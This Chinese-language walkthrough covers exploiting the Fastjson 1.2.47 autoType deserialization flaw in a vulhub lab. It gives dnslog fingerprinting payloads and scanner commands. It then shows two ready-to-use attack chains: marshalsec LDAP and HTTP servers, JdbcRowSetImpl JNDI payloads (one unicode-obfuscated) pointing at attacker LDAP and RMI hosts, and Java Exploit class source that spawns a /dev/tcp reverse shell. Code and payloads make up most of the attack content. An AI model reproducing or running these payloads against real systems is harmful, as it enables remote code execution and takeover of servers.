漏洞介绍
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
指纹识别
centos7(vps)+vulhub
在腾讯云vps上搭建了vulhub
,利用这个vulhub起一个1.2.47-rce
环境。
可以看到页面用的json格式,这里推荐两种识别方式。
A.抓包改为POST方式,花括号不闭合,返回包就会出现fastjson字样,不过这个可以屏蔽,就用其他办法
B.利用dnslog盲打
1. 利用java.net.Inet[4|6]Address
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
2. 利用java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
3. 利用java.net.URL
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
4. 其他变形
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog”}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
一、报错回显
故意构造不完整json请求,返回的数据包会进行报错,出现fastjson
关键字
或者
如果是配置了不返回报错信息怎么办?那这种情况就只有利用dnslog
盲打了。
二、dnslog
这里有个小技巧就是,如果你批量检查或者自己的dnslog,里面有很多记录。你可以这样使用’baidu’.d1flzs.dnslog.cn,在dnslog前面加个名称
盲打payload:
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
漏洞探测
burp插件
FastjsonScan(主动)
插件参考地址:https://blog.csdn.net/m0_60571842/article/details/133851305
以外网vps靶场为例(1.2.47-rce
)
把post
请求数据包发送给插件扫描
可以把dataSourceName
值替换为dnslog地址
BurpFastJsonScan(被动)推荐
插件参考地址:https://blog.csdn.net/m0_60571842/article/details/132470303
注:在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢
该插件会对BurpSuite传进来的带有json数据的请求包进行检测
重新抓取请求包,把GET方式改为POST方式放行即可
同样也可以把ldap://ar9hqc2kd0lov04.1tt0y7.dnslog.cn/miao1
改为自己的dnslog地址
xray
xray.exe webscan --plug fastjson --url http://ip:8090/
nuclei
./nuclei -u http://114.132.219.55:8090/ -s medium,high,critical -o 666.txt
漏洞利用
1、方式一
github项目地址:https://github.com/firstC99/fastjson-1.2.47-RCE
一、修改Exploit并编译成class文件
修改Exploit.java中的反弹IP和端口(准备接收反弹SHELL的服务器IP和监听端口)
使用javac编译Exploit.java,生成Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)
javac Exploit.java
然后把整个文件夹上传到VPS上
二、准备LDAP服务和Web服务
将marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目录下
在当前目录下运行LDAP服务,修改IP为当前这台服务器的IP
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit 端口
加上端口就是指定端口,不然就默认为1389
在当前目录下运行Web服务
python3 -m http.server 80 或者 python -m SimpleHTTPServer 80
三、发送payload
在漏洞页面bp抓包后post提交数据
修改ip为正在运行LDAP和Web服务的服务器IP
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}
或者
不是有两个BP插件都探测出来有漏洞吗,而且都给了对应的POC,直接使用插件给的POC去打不就行了吗
BurpFastJsonScan(被动)推荐
给出的POC是
{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://ar9hqc2kd0lov04.1tt0y7.dnslog.cn/miao1","autoCommit":true}}
FastjsonScan(主动)
给出的POC是
{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://pvofb9gahutpp5e4t0tu8aoip9vzjo.oastify.com/aaa","autoCommit":true}}
接下来如果没有任何报错的话,LDAP将会把请求Redirect到Web服务,Fastjson将会下载Exploit.class,并解析运行
你的LDAP服务和Web服务都会收到请求记录,如果没有问题,你的nc也会收到反弹回来的SHELL
发送payload的时候,ldap服务那也会有明显提示,如果什么提示都没有就说明这个payload有问题
2、方式二
方式二跟方式一都大同小异,只不过是calss.java的内容不同而已
一、在vps上创建一个Exploit.java文件
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
然后编译Exploit.java,会生成一个Exploit.class文件
javac Exploit.java
二、准备LDAP服务和Web服务
将marshalsec-0.0.3-SNAPSHOT-all.jar文件和Exploit.java放在同一目录下
在当前目录下运行LDAP服务,修改IP为当前这台服务器的IP
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit 端口
加上端口就是指定端口,不然就默认为1389
在当前目录下运行Web服务
python3 -m http.server 80 或者 python -m SimpleHTTPServer 80
三、发送payload
访问fastjson页面Burp发包,改为POST请求,使用Payload
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://x.x.x.x:9999/Exploit",
"autoCommit":true
}
}
或者
{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://114.132.219.55:9999/miao1","autoCommit":true}}
反弹shell的样子是这样的